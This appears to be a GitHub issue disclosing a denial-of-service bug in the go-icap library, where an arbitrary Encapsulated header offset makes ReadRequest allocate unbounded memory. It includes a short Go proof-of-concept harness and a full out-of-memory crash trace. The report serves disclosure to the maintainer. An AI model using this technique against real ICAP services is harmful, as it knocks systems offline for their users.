Description
Hallo 🍰,
Great library. Saved me a lot of time on a recent project 😄!
Description
During implementation, I discovered a bug causing excessive resource consumption. A client can send an ICAP request with an arbitrary offset set in either the req-hdr
or res-hdr
Encapsulated header values. This arbitrary offset causes the application to allocate n bytes of memory, where n is the value specified in the req-hdr
and/or res-hdr
.
Evidence
The bug occurs in the ReadRequest
function, which is responsible for parsing the ICAP request.
When the function encounters the Encapsulated header, it reads the various values supplied in the header. The first part of the issue arises during the initial iteration of the loop. Since prevKey
is empty, initialOffset
is set to the value extracted from the first entry in the Encapsulated header:
Lines 85 to 114 in ca4fad4
The second part of the issue occurs when the library attempts to position the cursor at the start of the Encapsulated HTTP header by reading initialOffset
bytes. During this process, a byte slice named junk
is initialized to read up to the beginning of the Encapsulated HTTP header. Since initialOffset
is arbitrary, the make
call can allocate an arbitrary amount of memory. Both reqHdrLen
and respHdrLen
are also arbitrary and are affected by the same logic. This can lead to excessive resource consumption and result in a Denial-of-Service.
Lines 121 to 142 in ca4fad4
Below is a small PoC. I've also attached the payload along with this Issue
package main
import (
"bufio"
"log"
"os"
"github.com/jrossi/go-icap"
)
func main() {
f, err := os.Open("./icap-crash-0.txt")
if err != nil {
log.Fatal(err)
}
defer f.Close()
reader := bufio.NewReader(f)
writer := bufio.NewWriter(f)
readWriter := bufio.NewReadWriter(reader, writer)
icap.ReadRequest(readWriter)
}
Run and build:
$ go build .
$ ./main
runtime: out of memory: cannot allocate 203043719086080-byte block (3866624 in use)
fatal error: out of memory
goroutine 1 gp=0xc0000061c0 m=0 mp=0x6fdaa0 [running]:
runtime.throw({0x59944c?, 0xffffffffffffffff?})
/usr/local/go/src/runtime/panic.go:1067 +0x48 fp=0xc000079af0 sp=0xc000079ac0 pc=0x46b3a8
runtime.(*mcache).allocLarge(0xc000079b68?, 0xb8aacc8d991e, 0x1)
/usr/local/go/src/runtime/mcache.go:236 +0x18b fp=0xc000079b40 sp=0xc000079af0 pc=0x413f6b
runtime.mallocgc(0xb8aacc8d991e, 0x55f060, 0x1)
/usr/local/go/src/runtime/malloc.go:1177 +0x5d0 fp=0xc000079be0 sp=0xc000079b40 pc=0x466b70
runtime.makeslice(0xc00001a1b8?, 0xf?, 0x5ea5f0?)
/usr/local/go/src/runtime/slice.go:116 +0x49 fp=0xc000079c08 sp=0xc000079be0 pc=0x46cda9
github.com/jrossi/go-icap.ReadRequest(0xc000016100)
/home/user/go/pkg/mod/github.com/jrossi/go-icap@v0.0.0-20151011115316-ca4fad4ebb28/request.go:123 +0x855 fp=0xc000079e78 sp=0xc000079c08 pc=0x54b3f5
main.main()
/home/user/Documents/research/go-icap/main.go:22 +0x252 fp=0xc000079f50 sp=0xc000079e78 pc=0x54c672
runtime.main()
/usr/local/go/src/runtime/proc.go:272 +0x28b fp=0xc000079fe0 sp=0xc000079f50 pc=0x4386cb
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1700 +0x1 fp=0xc000079fe8 sp=0xc000079fe0 pc=0x4727c1
goroutine 2 gp=0xc000006c40 m=nil [force gc (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:424 +0xce fp=0xc000062fa8 sp=0xc000062f88 pc=0x46b4ce
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:430
runtime.forcegchelper()
/usr/local/go/src/runtime/proc.go:337 +0xb3 fp=0xc000062fe0 sp=0xc000062fa8 pc=0x438a13
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1700 +0x1 fp=0xc000062fe8 sp=0xc000062fe0 pc=0x4727c1
created by runtime.init.7 in goroutine 1
/usr/local/go/src/runtime/proc.go:325 +0x1a
goroutine 3 gp=0xc000007180 m=nil [GC sweep wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:424 +0xce fp=0xc000063780 sp=0xc000063760 pc=0x46b4ce
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:430
runtime.bgsweep(0xc000090000)
/usr/local/go/src/runtime/mgcsweep.go:277 +0x94 fp=0xc0000637c8 sp=0xc000063780 pc=0x423694
runtime.gcenable.gowrap1()
/usr/local/go/src/runtime/mgc.go:204 +0x25 fp=0xc0000637e0 sp=0xc0000637c8 pc=0x417fa5
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1700 +0x1 fp=0xc0000637e8 sp=0xc0000637e0 pc=0x4727c1
created by runtime.gcenable in goroutine 1
/usr/local/go/src/runtime/mgc.go:204 +0x66
goroutine 4 gp=0xc000007340 m=nil [GC scavenge wait]:
runtime.gopark(0xc000090000?, 0x5ea558?, 0x1?, 0x0?, 0xc000007340?)
/usr/local/go/src/runtime/proc.go:424 +0xce fp=0xc000063f78 sp=0xc000063f58 pc=0x46b4ce
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:430
runtime.(*scavengerState).park(0x6fcce0)
/usr/local/go/src/runtime/mgcscavenge.go:425 +0x49 fp=0xc000063fa8 sp=0xc000063f78 pc=0x4210c9
runtime.bgscavenge(0xc000090000)
/usr/local/go/src/runtime/mgcscavenge.go:653 +0x3c fp=0xc000063fc8 sp=0xc000063fa8 pc=0x42163c
runtime.gcenable.gowrap2()
/usr/local/go/src/runtime/mgc.go:205 +0x25 fp=0xc000063fe0 sp=0xc000063fc8 pc=0x417f45
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1700 +0x1 fp=0xc000063fe8 sp=0xc000063fe0 pc=0x4727c1
created by runtime.gcenable in goroutine 1
/usr/local/go/src/runtime/mgc.go:205 +0xa5
goroutine 5 gp=0xc000007c00 m=nil [finalizer wait]:
runtime.gopark(0xc000062648?, 0x40ea85?, 0xb0?, 0x1?, 0xc0000061c0?)
/usr/local/go/src/runtime/proc.go:424 +0xce fp=0xc000062620 sp=0xc000062600 pc=0x46b4ce
runtime.runfinq()
/usr/local/go/src/runtime/mfinal.go:193 +0x107 fp=0xc0000627e0 sp=0xc000062620 pc=0x417027
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1700 +0x1 fp=0xc0000627e8 sp=0xc0000627e0 pc=0x4727c1
created by runtime.createfing in goroutine 1
/usr/local/go/src/runtime/mfinal.go:163 +0x3d
goroutine 6 gp=0xc000007dc0 m=nil [runnable]:
runtime.unique_runtime_registerUniqueMapCleanup.gowrap1()
/usr/local/go/src/runtime/mgc.go:1779 fp=0xc0000647e0 sp=0xc0000647d8 pc=0x41ada0
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1700 +0x1 fp=0xc0000647e8 sp=0xc0000647e0 pc=0x4727c1
created by unique.runtime_registerUniqueMapCleanup in goroutine 1
/usr/local/go/src/runtime/mgc.go:1779 +0x96
Cheers mate 🍻,
~ k00l-beanz
Activity